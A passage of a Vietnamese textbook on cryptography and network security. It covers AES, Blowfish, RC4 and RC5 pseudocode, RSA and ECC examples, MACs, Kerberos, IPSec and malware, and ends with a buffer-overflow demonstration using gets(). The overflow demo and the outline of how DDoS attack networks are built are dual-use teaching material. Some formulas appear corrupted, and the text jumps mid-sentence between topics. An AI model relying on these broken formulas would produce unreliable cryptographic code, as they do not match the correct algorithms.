3. ShiftRows - ñổi chỗ, các hàng trong khối ñược dịch vòng.
Tại chu trình cuối thì bước MixColumns ñược thay thế bằng bước AddRoundKey.
Thuật toán mã hoá
INPUT: M 128 bit, w[Nb*(Nr+1)] --- w là mảng khoá , M là khối dữ liệu rõ
OUTPUT: Y 128 bit -- Khối dữ liệu ñã ñược mã hoá
TIẾN TRÌNH XỬ LÝ:
State:=in;
AddRoundKey(State,w[0,Nb-1]);
for i in 1..Nr-1 loop
SubByte(state);
- 74 -
ShiftRows(state);
MixColums(state);
AddRoundKey(state,w[i*Nb],(i+1)*Nb-1);
end loop;
SubByte(state);
ShiftRows(state);
AddRoundKey(state,w[i*Nb],(i+1)*Nb-1);
Y:=state;
Thuật toán sinh khoá con sử dụng ba hàm:
SubWord(): Là một hàm ñưa 4 từ ñầu vào qua S-box ñể ñược 4 từ ñầu ra
RotWord(): Biến ñổi một từ [a0a1a2a3] thành một từ [a1a2a3a0]
Rcon(i): Chứa các giá trị [xi-1,{00},{00},{00}] với x={02} và i>=1.
Trường hợp Nk=8 (ñộ dài khoá =256) và i-4 là bội số của Nk thì SubWord() ñược tính
toán với w[i-1] trứơc khi XOR
Thuật toán:
INPUT: Khoá ñầu vào K, Nk
OUTPUT: Mảng khoá con
TIẾN TRÌNH XỬ LÝ:
• Tách khoá K thành Nk khối 4 byte w[i] i=0..Nk-1
i:=Nk;
while (i<Nb*(Nr+1)) loop
temp:=w[i-1];
if (i mod Nk = 0);
temp = SubWord(RotWord(temp)) xor Rcon[i/Nk];
else if (Nk > 6 and i mod Nk = 4);
temp = SubWord(temp);
end if;
w[i] = w[i-Nk] xor temp;
i = i + 1;
end loop;
Thuật toán giải mã sử dụng 4 biến ñổi trong ñó có 1 biến ñổi AddRoundKey và 3 biến
ñổi ñảo ngược.
Biến ñổi InvShiftRows(): tương tự biến ñổi ShiftRows thay vì dịch trái thì trong biến ñổi
này là dịch phải.
Bứơc InvSubBytes(): Phép biến ñổi này tương tự như SubBytes() thay vì dùng S-box thì
sử dụng InvS-box .
- 75 -
Bứơc InvMixColums(): Tương tự như phép MixColums thay vì a XOR với c(x) thì là a-
1
XOR c(x).
Thuật toán giải mã
INPUT: M 128 bit, w[Nb*(Nr+1)] --- w là mảng khoá , M là bản mã
OUTPUT: Y 128 bit -- Khối dữ liệu ñã ñược giải mã
TIẾN TRÌNH XỬ LÝ:
state = M
AddRoundKey(state, w[Nr*Nb, (Nr+1)*Nb-1])
for round = Nr-1 step -1 downto 1
InvShiftRows(state)
InvSubBytes(state)
AddRoundKey(state, w[round*Nb, (round+1)*Nb-1])
InvMixColumns(state)
end for
InvShiftRows(state)
InvSubBytes(state)
AddRoundKey(state, w[0, Nb-1])
Y = state.
IV.4.2 Blowfish
• Mã ñối xứng ñược thiết kế bởi Shneier khoảng 1993-1994.
• Mã có các ñặc trưng sau:
o Cài ñặt nhanh trên CPU 32 bit
o Dùng ít bộ nhớ.
o Cấu trúc ñơn giản, dễ cài ñặt và phân tích.
o ðộ an toàn thay ñổi theo ñộ dài của khoá
• ðược cài ñặt trên nhiều sản phẩm khác nhau
• Lược ñồ khoá con của Blowfish
o Dùng khoá có ñộ dài bit linh hoạt từ 32 ñến 448.
o Sử dụng khoá ñể sinh
18 khoá con 32 bit lưu trữ trong mảng K: KJ
Bốn S box cỡ 8 x 32 lưu trong Si, j
o Lược ñồ khoá gồm
- 77 -
Khởi tạo P mảng và sau ñó là 4 hộp S box
XOR P mảng với bit khoá (sử dụng lại nếu cần)
Lặp lại việc mã dữ liệu sử dụng P & S hiện thời và thay cặp thành
công P sau ñó S.
ðòi hỏi 512 khoá, nên chậm khi lấy khoá con mới
o Mã Blowfish
Sử dụng 2 phép cơ bản cộng và XOR
Dữ liệu ñược chia thành 2 nửa mỗi nửa 32 bit L0 & R0
for i = 1 to 16 do
Ri = Li-1 XOR Pi;
Li = F[Ri] XOR Ri-1;
L17 = R16 XOR P18;
R17 = L16 XOR i17;
trong ñó
F[a,b,c,d] = ((S1,a + S2,b) XOR S3,c) + S4,a
o Bàn luận:
Khoá con và S box phụ thuộc vào khoá sinh ra, sử dụng vào chính mã
nên việc phân tích rất khó
Thay ñổi hai nửa sau mỗi vòng làm tăng ñộ an toàn
Khoá ñược cấp ñủ lớn ñể việc tìm duyệt khoá là không thực tế, ñặc
biệt khi tập trung vào lược ñồ tạo khoá con.
IV.4.3 RC4
RC4 là mã ñăng ký bản quyền của RSADSI, ñược thiết kế bởi Ronald Rivest. RC4 ñơn
giản, nhưng hiệu quả, có nhiều cỡ khoá và là mã bit dòng.
Mã ñược sử dụng rộng rãi (Web SSL/TLS, không dây WEP). Khoá thực hiện hoán vị
ngẫu nhiên cả 8 giá trị bit. Sử dụng hoán vị ñó ñể khuấy thông tin ñầu vào ñược xử lý
từng byte.
Sinh khoá RC4
o Bắt ñầu từ mảng S với biên ñộ: 0..255
o Sử dụng khoá ñể xáo trộn ñều thực sự.
o S tạo trạng thái trong của mã.
Mã RC4
o Mã tiếp tục trộn các giá trị của mảng.
o Tổng của các cặp trộn chọn giá trị khoá dòng từ hoán vị
o XOR S[t] với byte tiếp theo của bản tin ñể mã/giải mã
i=j=0
- 78 -
for each message byte Mi
i = (i + 1) (mod 256)
j = (j + S[i]) (mod 256)
swap(S[i], S[j])
t = (S[i] + S[j]) (mod 256)
Ci = Mi XOR S[t]
Tổng quan RC4
An toàn RC4
o ðảm bảo an toàn chống các tấn công
o Có một số thám mã, nhưng không thực tế
o Kết quả rất phi tuyến
o Vì RC4 là mã dòng nên không ñược sử dụng lại khoá.
o Có liên quan ñến WEP, nhưng tùy thuộc quản lý khoá hơn là bản thân RC4.
IV.4.4 RC5
RC5 cũng là mã ñăng ký bản quyền của RSADSI, ñược thiết kế bởi Ronald Rivest và
ñược sử dụng trong nhiều sản phẩm của RSADSI. RC5 có nhiều cỡ khoá và dữ liệu khác
- 79 -
nhau và ñặc biệt không có vòng lặp. Thiết kế rất ñơn giản và rõ ràng. RC5 ñược cài ñặt
dễ dàng trên nhiều CPU và còn ñược ñánh giá là an toàn.
• Các mã RC5
o RC5 là một họ các mã với bat ham số RC5-w/r/b
w là kích thước của từ (16/32/64), sô bit data = 2w
r là số vòng (0..255)
b là số byte của khoá (0..255)
o Phiên bản chuẩn là RC5-32/12/16
Tức là 32 bit word, mã khối 64 bit dữ liệu
Sử dụng 12 vòng
Với 16 byte (128 bit) khoá
o Mở rộng khoá RC5
RC5 sử dụng 2r + 2 từ khoá con (w-bit)
Các khoá con lưu trong mảng R[i], i = 0,1,.., t-1
Sau ñó lược ñồ sinh khoá gồm
- Khởi tạo S là giá trị giả ngẫu nhiên cố ñịnh, dựa trên hằng sô e
và phi.
- Khoá byte ñược sao vào mảng c-word L
- Phép trộn sẽ kết hợp L và S thành mảng S cuối cùng
• Mã RC5
o Tách ñầu vào thành 2 nửa A và B
L0 = A + S[0];
R0 = B + S[1];
for i = 1 to r do
Li = ((Li-1 XOR Ri-1) <<< Ri-1) + S[2 x i];
Ri = ((Ri-1 XOR Li) <<< Li) + S[2 x i + 1];
o Mỗi vòng giống như 1 vòng 2 DES
o Quay là nguồn phi tuyến chính
o Cần số vòng chấp nhận ñược (12-16)
• Các chế ñộ mã RC5
o RFC2040 xác ñịnh 4 chế ñộ của RC5
Mã khối RC5, tức là chế ñộ ECB
RC5-CBC
RC5-CBC-PAD là chế ñộ với bộ ñệm bằng các byte có giá trị bằng số
byte ñệm.
RC5-CTS, một kiểu của CBC, cùng kích thước với bản tin gốc.
- 80 -
IV.4.5 Các ñặc trưng của mã khối và mã dòng.
1. Các ñặc trưng mã khối. Các ñặc trưng trong mã khối hiện ñại là
o ðộ dài khoá / kích thước khối / số vòng có thể thay ñổi
o Các phép toán trộn, quay phụ thuộc khoá hoặc dữ liệu.
o S box phụ thuộc khoá
o Tạo khoá con phức tạp hơn
o Phép toán với ñầy ñủ dữ liệu ở mỗi vòng.
o Biến thiên hàm phi tuyến.
2. Các ñặc trưng mã dòng.
o Xử lý mẩu tin lần lượt theo từng bit.
o Thông thường có khoá dòng (giả) ngẫu nhiên.
o Kết hợp XOR với bản rõ theo từng bit
o Ngẫu nhiên với khoá dòng sẽ xoá bỏ hoàn toàn các phân tích thống kê của
mẩu tin
Ci = Mi XOR StreamKeyi
o Rất ñơn giản
o Nhưng khoá không ñược sử dụng lại
3. Các tính chất của mã dòng trong khi thiết kế
a. Sử dụng lâu không bị lặp
b. Ngẫu nhiên thống kê
c. Phụ thuộc khoá ñủ lớn
d. ðộ phức tạp tuyến tính lớn
e. Rối loạn
f. Khuếch tán
g. Sử dụng hàm Boole phi tuyến bậc cao
Bài tập
1. Viết hai dãy số sinh bởi các phương trình sau:
Xn+1 = (6Xn ) mod 13
Xn+1 = (7Xn ) mod 13
Chứng tỏ cả hai dãy trên ñều có chu kỳ ñầy ñủ. Dãy nào tỏ ra có vẻ ngẫu nhiên hơn.
3. Lập sơ ñồ khối mã hoá DES. Nêu các ñặc trưng của DES.
4. Lập sơ ñồ khối mã hoá AES. Nêu các ñặc trưng của AES.
5. Mô tả sơ ñồ dùng bên thứ ba phân phối khoá mật giữa hai người sử dụng. Nêu các ưu
nhược ñiểm của sơ ñồ ñó.
6. Có thể dùng khoá mật ñể tạo nên chữ ký ñiện tử ñược không, nghĩa là có một dấu
hiệu gì ñó mà chỉ có người gửi thực hiện ñược gắn với nội dung của bản tin. Người
nhận ñọc ñược bản tin và có thể kiểm tra ñể tin tưởng rằng người gửi ñã viết nội dung
bản tin ñó.
7. Mô tả các ñặc trưng mã khối, chuẩn mã DES, chuẩn mã nâng cao AES.
- 86 -
CHƯƠNG 5:
MÃ CÔNG KHAI VÀ QUẢN LÝ KHOÁ
V.1 Mã khoá công khai
Mã khoá riêng
Mã khoá riêng còn ñược gọi là mã khoá ñơn hay mật. Ở ñây chỉ dùng một khoá, dùng
chung cả người nhận và người gửi. Khi khoá này ñược dùng, việc trao ñổi thông tin về
khoá sẽ ñược thỏa thuận trước.
Người ta còn gọi ñây là mã ñối xứng, vì hai ñối tác có vai trò như nhau. Do ñó không bảo
vệ người gửi khỏi việc người nhận giả mạo mẩu tin và tuyên bố là nó ñược gửi bằng
người gửi. Nghĩa là khi hai người dùng mã ñối xứng, thì họ giữ ñược bí mật nội dung trao
ñổi, nhưng bản thân mẩu tin không mang thông tin xác thực ñược người gửi.
V.2 RSA
RSA là mã công khai ñược sáng tạo bởi Rivest, Shamir & Adleman ở MIT (Trường ðại
học Công nghệ Massachusetts) vào năm 1977. RSA là mã công khai ñược biết ñến nhiều
nhất và sử dụng rộng rãi nhất hiện nay. Nó dựa trên các phép toán lũy thừa trong trường
hữu hạn các số nguyên theo modulo nguyên tố. Cụ thể, mã hoá hay giải mã là các phép
toán luỹ thừa theo modulo số rất lớn. Việc thám mã, tức là tìm khoá riêng khi biết khoá
công khai, dựa trên bài toán khó là phân tích một số rất lớn ñó ra thừa số nguyên tố. Nếu
không có thông tin gì, thì ta phải lần lượt kiểm tra tính chia hết của số ñó cho tất cả các số
nguyên tố nhỏ hơn căn của nó. ðây là việc làm không khả thi.
Người ta chứng minh ñược rằng, phép lũy thừa cần O((log n)3) phép toán, nên có thể
coi lũy thừa là bài toán dễ. Cần chú ý rằng ở ñây ta sử dụng các số rất lớn khoảng 1024
bit, tức là cỡ 10350. Tính an toàn dựa vào ñộ khó của bài toán phân tích ra thừa số các số
lớn. Bài toán phân tích ra thừa số yêu cầu O(e log n log log n) phép toán, ñây là bài
toán khó.
Cơ sở của RSA
• Theo ðịnh lý Ole
o aФ(n)mod N = 1 trong ñó gcd(a,N)=1
o Ta có N=p.q
o Ф(N)=(p-1)(q-1)
o e.d=1 mod Ф(N)
o e.d=1+k.Ф(N) ñối với một giá trị k nào ñó.
Suy ra
o Cd = (Me)d = M1+k.Ф(N) = M1.(MФ(N))k suy ra
Cd modN = M1.(1)k modN = M1 modN = M modN
Ví dụ
1. Chọn các số nguyên tố: p=17 & q=11.
2. Tính n = pq, n = 17×11=187
3. Tính Ф(n)=(p–1)(q-1)=16×10=160
4. Chọn e : gcd(e,160)=1; Lấy e=7
5. Xác ñịnh d: de=1 mod 160 và d < 160
Giá trị cần tìm là d=23, vì 23×7=161= 10×160+1
6. In khoá công khai KU={7,187}
7. Giữ khoá riêng bí mật KR={23,17,11}
Trong thuật toán trên giá trị của c chỉ dùng ñể kiểm tra số mũ của lũy thừa. Còn d chính
là giá trị lũy thừa cần tính và a là cơ số của luỹ thừa.
V.3.2 Phân phối khoá công khai có thể xem xét ñể ñược sử dụng vào một trong những
việc sau:
o Thông báo công khai khoá của người sử dụng.
o Thư mục truy cập công cộng cho mọi người.
- 94 -
o Chủ quyền khoá công khai, người nắm giữ khoá công khai.
o Chứng nhận khoá công khai, khoá công khai của người sử dụng ñược nơi có
thẩm quyền chứng nhận.
Nếu có khoá công khai thì khoá phiên ñược trao ñổi an toàn
- 97 -
Ví dụ:
Hai người sử dụng Alice & Bob muốn trao ñổi khoá phiên:
• ðồng ý chọn số nguyên tố q=353 và α=3
• Chọn các khoá mật ngẫu nhiên:
A chọn xA=97, B chọn xB=233
• Tính các khoá công khai:
yA=397 mod 353 = 40 (Alice)
y2 = x3 + ax + b
trong ñó x, y, a, b là các số thực và ñịnh nghĩa thêm ñiểm O.
• Có phép cộng ñối với ñường cong Elip
o Về hình học tổng của P và Q là ñiểm ñối xứng của giao ñiểm R
o ðiểm O ñóng vai trò là ñơn vị ñối với phép cộng và nó là ñiểm vô cực.
Có một số cách dùng ñường cong Elip ñể tạo mã công khai, ta xét cách ñơn giản nhất
sau:
Trước hết nhóm người sử dụng cần phải thống nhất chọn một ñường cong Elip phù hợp
và một ñiểm G giống như trong trao ñổi khoá ECC Diffie – Hellman. Mỗi bản tin M
ñược coi như một ñiểm PM trên ñường cong Elip ñó.
• Mỗi người sử dụng chọn một khoá riêng cho mình nA < n
• Và tính khoá công khai ñể công bố PA=nA×G
• ECC mã bản tin M tương ứng với ñiểm PM trên ñường cong Elip bằng cách tạo bản
mã CM là cặp ñiểm trên ñường cong Elip ñó như sau:
CM={kG, PM+k Pb}, k là số ngẫu nhiên
• Ta thực hiện phép toán trên hai ñiểm của CM ñể giải mã tìm PM
PM+kPb–nB(kG) = PM+k(nBG)–nB(kG) = PM
An toàn ECC
Dựa trên bài toán tìm hệ số liên hệ giữa hai ñiểm trên ñường cong Elip gọi là bài toán
logarit trên ñường cong Elip. Phương pháp nhanh nhất giải bài toán trên ñã biết là
“Pollard rho method”. Bài toán này tương ñương với bài toán phân tích ra thừa số,
nhưng có thể sử dụng kích thước khoá nhỏ hơn nhiều, chảng hạn so với RSA. Người ta
chứng minh ñược rằng với ñộ dài khoá bằng nhau các tính toán nói chung là tuơng
ñương. Vậy với ñộ an toàn như nhau ECC có nhiều ưu ñiểm về không gian lưu trữ và
tính an toàn ñi kèm.
- 102 -
Bài tập
9. Nêu thuật toán tính lũy thừa của một cơ số cho trước. ðánh giá ñộ phức tạp của
thuật toán ñó.
10. Tại sao có thể nói nếu dùng ðịnh lý Trung Hoa ñể giải mã thì tốc ñộ giải mã
nhanh gấp 4 lần không dùng nó.
- 104 -
CHƯƠNG 6:
XÁC THỰC MẪU TIN VÀ CÁC HÀM HASH
VI.1 Xác thực mẩu tin
VI.1.1 Các khái niệm
Xác thực mẩu tin liên quan ñến các khía cạnh sau khi truyền tin trên mạng
o Bảo vệ tính toàn vẹn của mẩu tin: bảo vệ mẩu tin không bị thay ñổi hoặc có
các biện pháp phát hiện nếu mẩu tin bị thay ñổi trên ñường truyền.
o Kiểm chứng danh tính và nguồn gốc: xem xét mẩu tin có ñúng do người xưng
tên gửi không hay một kẻ mạo danh nào khác gửi.
o Không chối từ bản gốc: trong trường hợp cần thiết, bản thân mẩu tin chứa các
thông tin chứng tỏ chỉ có người xưng danh gửi, không một ai khác có thể làm
ñiều ñó. Như vậy người gửi không thể từ chối hành ñộng gửi, thời gian gửi và
nội dung của mẩu tin.
Ngoài ra có thể xem xét bổ sung thêm các yêu cầu bảo mật như mã hoá. Với mong muốn
ñáp ứng các yêu cầu trên, có 3 hàm lựa chọn sau ñây ñược sử dụng:
o Mã mẩu tin bằng mã ñối xứng hoặc mã công khai.
o Mã xác thực mẩu tin (MAC): dùng khoá và một hàm nén mẩu tin cần gửi ñể
nhận ñược một ñặc trưng ñính kèm với mẩu tin và người gửi ñó.
o Hàm hash (hàm băm) là hàm nén mẩu tin tạo thành “dấu vân tay” cho mẩu tin.
Các yêu cầu bảo mật khi truyền mẩu tin trên mạng.
Tìm các biện pháp cần thiết ñể chống ñối lại các hành ñộng phá hoại như sau:
o ðể lộ bí mật: giữ bí mật nội dung mẩu tin, chỉ cho người có quyền biết.
o Thám mã ñường truyền: không cho theo dõi hoặc làm trì hoãn việc truyền tin.
o Giả mạo: lấy danh nghĩa người khác ñể gửi tin.
o Sửa ñổi nội dung: thay ñổi, cắt xén, thêm bớt thông tin.
o Thay ñổi trình tự các gói tin nhỏ của mẩu tin truyền.
o Sửa ñổi thời gian: làm trì hoãn mẩu tin.
o Từ chối gốc: không cho phép người gửi từ chối trách nhiệm của tác giả mẩu
tin.
o Từ chối ñích: không cho phép người nhận phủ ñịnh sự tồn tại và ñến ñích của
mẩu tin ñã gửi.
VI.1.2 Mã mẩu tin
• Mã mẩu tin bản thân ñã cung cấp một phần tính xác thực, vì khoá ñược chia sẻ giữa
người gửi và người nhận cũng như việc thay ñổi nội dung cũng không dễ dàng thực
hiện nếu không có khoá.
• Cụ thể nếu mã ñối xứng ñược sử dụng thì người nhận biết người gửi phải tạo ra mẩu
tin, vì chỉ có người gửi và người nhận biết ñược khoá sử dụng.
- 105 -
Người nhận có thể biết nội dung không bị sửa ñổi, nếu mẩu tin có cấu trúc phù hợp,
tính dư thừa và tổng kiểm tra ñể phát hiện bất cứ thay ñổi nào.
• Nếu khoá công khai ñược sử dụng thì mã cung cấp không ñủ ñộ tin cậy về người gửi,
vì mọi người ñều có thể biết khoá công khai của người nhận. Tuy nhiên nếu người
gửi ký mẩu tin sử dụng khoá riêng của họ và sau ñó mã với khoá công khai của người
nhận, thì khi ñó ñảm bảo cả tính bảo mật và xác thực của mẩu tin. Cần phải bổ sung
các biện pháp ñể phát hiện các mẩu tin ñã bị làm hỏng. Việc sử dụng khoá riêng của
người gửi kết hợp với khoá công khai của người nhận có nhiều ưu việt, nhưng với giá
phải trả là chậm do dùng 2 mã khoá công khai trên mẩu tin.
Các mã xác thực mẩu tin MAC cung cấp sự tin cậy cho người nhận là mẩu tin không bị
thay ñổi và từ ñích danh người gửi. Cũng có thể sử dụng mã xác thực MAC kèm theo với
việc mã hoá ñể bảo mật. Nói chung người ta sử dụng các khoá riêng biệt cho mỗi MAC
và có thể tính MAC trước hoặc sau mã hoá, tốt hơn là thực hiện MAC trước và mã hoá
sau.
Sử dụng MAC có nhược ñiểm là MAC phụ thuộc vào cả mẩu tin và cả người gửi, nhưng
ñôi khi chỉ cần xác thực mẩu tin và thông tin xác thực ñó chỉ phụ thuộc mẩu tin ñể lưu trữ
- 106 -
làm bằng chứng cho tính toàn vẹn của nó. Khi ñó người ta sử dụng hàm Hash thay vì
MAC. Cần lưu ý rằng MAC không phải là chữ ký ñiện tử, vì cả người gửi và người nhận
ñều biết thông tin về khoá.
q = Ck365 / 365k
Mã khối Whirlpool
Whirlpool ñược thiết kế riêng cho việc sử dụng hàm Hash với ñộ an toàn và hiệu quả
như chuẩn mã nâng cao AES, nhưng với kích thước khối 512 bit hash. Hàm và cấu
trúc tương tự như AES nhưng ñầu vào ñược ánh xạ khéo léo vào 10 hàng và các ña
thức nguyên tố khác trên GF(28). Ở ñây sử dụng giá trị và thiết kế S-box khác.
- 118 -
VI.3.5 HMAC
HMAC ñược thiết kế theo chuẩn Internet RFC2104, sử dụng hàm Hash trên mẩu tin:
HMACK = Hash [(K+ XOR opad) || Hash [(K+ XOR ipad) || M)]]
trong ñó K+ là khoá ñệm mở rộng của K và opad, ipad là các hằng bộ ñệm ñặc biệt, M
là mẩu tin. Như vậy cần tính nhiều hơn 3 hàm Hash so với nếu bản tin ñứng một
mình. Bất cứ hàm Hash nào cũng có thể ñược sử dụng trong sơ ñồ trên: MD5, SHA-
1, RIPEMD-160 hay Whirlpool.
An toàn HMAC
- 120 -
Sự an toàn ñược chứng minh liên quan ñến thuật toán Hash nền trong sơ ñồ trên. Tấn
công HMAC yêu cầu phải hoặc:
o Tấn công vét cạn khoá ñã sử dụng hoặc
o Tấn công ngày sinh nhật (tuy cần quan sát số lượng rất lớn mẩu tin)
Có thể lựa chọn phán ñoán hàm Hash ñược sử dụng dựa trên tốc ñộ và các ràng buộc
an toàn.
VI.3.6 CMAC
Trước kia ñã xét Thuật toán xác thực dữ liệu DAA (CBC-MAC), ñược sử dụng rộng
rãi trong các chính phủ và công nghiệp. Nhưng kích thước bản MAC có giới hạn nhỏ
hơn hoặc bằng 64 bit. Có thể khắc phục nhược ñiểm trên bằng cách sử dụng 2 khoá
và bộ ñệm như sau: phương pháp ñược viết tắt từ Mã xác thực mẩu tin dựa trên mã
(Cipher-based Message Authentication Code (CMAC) và ñược ñề xuất bởi NIST
SP800-38B:
VI.4.1 Kerberos
ðây là mô hình Hệ thống khoá máy chủ tin cậy của MIT (Trường ðại học Kỹ thuật
Massachusetts) ñể cung cấp xác thực có bên thứ ba dùng khoá riêng và tập trung. Cho
phép người sử dụng truy cập vào các dịch vụ phân tán trong mạng. Tuy nhiên không cần
thiết phải tin cậy mọi máy trạm, thay vì ñó chỉ cần tin cậy máy chủ xác thực trung tâm.
ðã có hai phiên bản ñang sử dụng là: Kerberos 4 và Kerberos 5.
1. Các yêu cầu của Kerrberos
Báo cáo ñầu tiên của: Kerberos nêu các yêu cầu sau
o An toàn
o Tin cậy
o Trong suốt
o Có thể mở rộng
Ở ñây cài ñặt sử dụng thủ tục xác thực Needham-Schroeder.
2. Tổng quan Kerberos 4
Là sơ ñồ xác thực dùng bên thứ ba cơ bản và có máy chủ xác thực (AS – Authentication
Server). Người dùng thỏa thuận với AS về danh tính của mình, AS cung cấp sự tin cậy
xác thực thông qua thẻ cấp thẻ TGT (Ticket Granting Ticket) và máy chủ cung cấp thẻ
(TGS – Ticket Granting Server). Người sử dụng thường xuyên yêu cầu TGS cho truy cập
ñến các dịch vụ khác dựa trên thẻ cấp thẻ TGT của người sử dụng.
3. Trao ñổi Kerberos 4
Người sử dụng nhận thẻ ñược cấp từ máy chủ xác thực AS, mỗi thẻ cho một phiên làm
việc và cũng nhận thẻ cấp dùng dịch vụ (service granting ticket) từ TGT. Mỗi thẻ dùng
cho một dịch vụ khác nhau ñược yêu cầu, thông qua việc trao ñổi giữa máy chủ/trạm ñể
nhận ñược dịch vụ.
4. Các lãnh ñịa Kerberos
Môi trường Kerberos bao gồm: máy chủ Kerberos, một số máy trạm ñã ñược ñăng ký với
máy chủ, các máy chủ ứng dụng chia sẻ khoá với máy chủ. Một hệ thống như vậy ñược
gọi là một lãnh ñịa Kerberos. Thông thường là một miền hành chính duy nhất. Nếu có
nhiều lãnh ñịa, thì các máy chủ Kerberos cần phải chia sẻ khoá và tin cậy nhau.
5. Kerberos phiên bản 5
Kerberos 5 ñược phát triển vào giữa những năm 1990, ñược thiết kế theo chuẩn RFC
1510. Nó cung cấp những cải tiến so với phiên bản 4, cụ thể hướng tới các thiếu xót về
môi trường, thuật toán mã, thủ tục mạng thứ tự byte, thời gian sử dụng thẻ, truyền tiếp
- 122 -
xác thực, xác thực lãnh ñịa con. Và các sự khác biệt về kỹ thuật như: mã kép, các dạng sử
dụng không chuẩn, khoá phiên, chống tấn công mật khẩu.
Bài tập
3. Hãy cho biết các phương pháp phân phối khoá công khai. Và các cách trao ñổi
công khai khoá mật giữa hai người sử dụng
4. Nêu sự khác biệt giữa MAC và Hash và nêu tác dụng của chúng. Cho một số ví
dụ về các hàm MAC và Hash.
5. Cho biết HMAC là gì, sử dụng chúng vào mục ñích nào.
6. Nêu một số cách tạo và kiểm chứng chữ ký ñiện tử
7. Chứng minh “Nghịch lý Ngày sinh nhật”, tức là có ít nhất 23 người, thì xác
suất ñể có hai người trùng ngày sinh nhật sẽ lớn hơn hoặc bằng 0.5.
8. Các hàm số học và logic cơ bản nào dùng trong MD5?
9. Các hàm số học và logic cơ bản nào dùng trong SHA-1?
10. Các hàm số học và logic cơ bản nào dùng trong RIPEMD-160?
11. Trình bày hoạt ñộng của các giao thức xác thực trên mô hình Kerberos.
12. Nêu nội dung dịch vụ xác thực X.509.
- 128 -
CHƯƠNG 7:
AN TOÀN IP VÀ WEB
Trong chương này chúng ta sẽ xét ñến cơ chế an toàn IPSec và một số giao thức bảo
mật lớp vận chuyển ứng dụng trên Web.
VII.1 An toàn IP
Có khá nhiều cơ chế an toàn ứng dụng chuyên biệt như: S/MIME, PGP, Kerberos,
SSL/HTTPS. Tuy nhiên có những cơ chế an toàn mà xuyên suốt nhiều tầng ứng dụng
như là cơ chế an toàn IP ñược cài ñặt trên mạng cho mọi ứng dụng.
VII.1.1 IPSec
IPSec là cơ chế an toàn IP tổng quan. Nó cung cấp: xác thực, bảo mật và quản trị
khoá. IPSec ñược dùng trên mạng LAN, mạng WAN riêng và chung và trên cả mạng
Internet.
Lợi ích của IPSec
IPSec trên bức tường lửa/router cung cấp an toàn mạnh cho mọi việc truyền qua vành
ñai. Nó chống lại việc ñi vòng qua bức tường lửa/router.
IPSec nằm ở tầng vận chuyển bên dưới nên trong suốt với mọi ứng dụng và có thể
trong suốt với người sử dụng ñầu cuối. Nó có thể cung cấp an toàn cho người sử dụng
riêng biệt và bảo vệ kiến trúc rẽ nhánh.
1. Kiểm tra chứng nhận người giữ thẻ bằng chữ ký của CA
2. Kiểm tra chữ ký kép bằng cách sử dụng khoá chữ ký công khai của người mua
ñể tin tưởng rằng ñơn không bị giả mạo khi truyền và ñược ký sử dụng chữ ký
khoá riêng của người giữ thẻ.
3. Xử lý ñơn ñặt và gửi tiếp thông tin trả tiền cho cổng trả tiền ñể xác thực (mô
tả sau)
4. Gửi phản hồi trả tiền cho người giữ thẻ
Tóm lại, cần có khoá phiên cho mỗi mẩu tin, có kích thước khác nhau: 56 bit – DES, 128
bit CAST hoặc IDEA, 168 bit Triple – DES, ñược sinh ra sử dụng dữ liệu ñầu vào ngẫu
nhiên lấy từ sử dụng trước và thời gian gõ bàn phím của người sử dụng
- 141 -
PGP
Sơ ñồ sau nêu cách người nhận giải mã, kiểm chứng thông tin ñể ñọc mẩu tin.
- 143 -
Bài tập
CHƯƠNG 8:
KẺ XÂM NHẬP, PHẦN MỀM CÓ HẠI VÀ
BỨC TƯỜNG LỬA
1. Marco Virus
Marco code ñính kèm file dữ liệu, ñược dịch bởi chương trình sử dụng file
o Như marco của Word/Excel
o Sử dụng lệnh tự ñộng và lệnh marco
ðây là ñoạn code là ñộc lập với nền tảng, là ñoạn nguồn chính của sự lan nhiễm
virus. Có sự khác biệt không rõ ràng giữa dữ liệu và file chương trình, thông thường
có sự thoả hiệp truyền thống: “dễ dàng sử dụng” và “an toàn”. ðã có sự cải thiện an
toàn trong Word, không trội hơn sự ñe doạ của virus.
2. Virus email
ðây là loại virus lan truyền sử dụng email ñược ñính kèm chứa marco virus như
Melissa. Thường ñược kích hoạt khi người sử dụng mở file ñính kèm hoặc ít khi hơn
khi mail ñược xem sử dụng một tính chất script của tác nhân mail. Do ñó sẽ lan
truyền rất nhanh, thông thường ñích là tác nhân mail Microsoft Outlook hoặc tài liệu
Word /Excel. Cần an toàn ứng dụng và hệ ñiều hành tốt hơn
3. Sâu
- 152 -
ðây là chương trình sinh lặp nhưng không có tác ñộng, thường lan truyền trên mạng
o Như sâu Internet Morris 1988
o Dẫn ñến việc tạo ra các ñội ứng cứu khẩn cấp máy tính CERT
o Dùng ñặc quyền phân tán hoặc khai thác các ñiểm yếu hệ thống
o ðược sử dụng rộng rãi bởi Hackers ñể tạo zombie PC, kéo theo sử dụng
các tấn công khác, ñặc biệt từ chối dich vụ DoS
Vấn ñề chính là mất sự an toàn của hệ thống kết nối thường xuyên như PC.
2. Tìm hiểu cách kẻ thù xây dựng mạng lưới tấn công từ chối dịch vụ từ xa
Từ chối dịch vụ có hiệu lực khi bị nhiễm rất nhiều “zombies”. ðể thực hiện ñược ñiều
ñó cần có:
- Phần mềm cài ñặt tấn công từ chối dịch vụ từ xa
- Các lỗ hổng không vá ñược trong nhiều hệ thống
- Chiến lược quét ñể tìm lỗ hổng hệ thống: sử dụng các yếu tố ngẫu nhiên, lập danh
sách va chạm, tìm hiểu cấu trúc topo, mạng con cục bộ.
3. Chống tấn công từ chối dịch vụ từ xa (DDoS)
Có ba cách bảo vệ sau ñây ñược dùng rộng rãi
- Ngăn ngừa tấn công và chiếm lĩnh trước.
- Phát hiện tấn công và lọc trong quá trình sử dụng dịch vụ
- Lần vết nguồn tấn công và xác ñịnh sự tấn công sau khi sử dụng xong dịch vụ.
Nói chung có phạm vi rộng các khả năng tấn công, vì vậy phải có nhiều biện pháp
chống và sử dụng kết hợp chúng.
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
Xét chương trình C trên. Ở ñây có ba biến, thông thường lưu trong vùng nhớ liền kề. Gọi
chương trình con copy vào str1 dữ liệu Start. Sau ñó ñọc ñầu vào sử dụng hàm gets lưu
vào str2. Sau ñó so sánh ñầu vào với xâu Start. Nếu thành công valid = true. Vấn ñề hàm
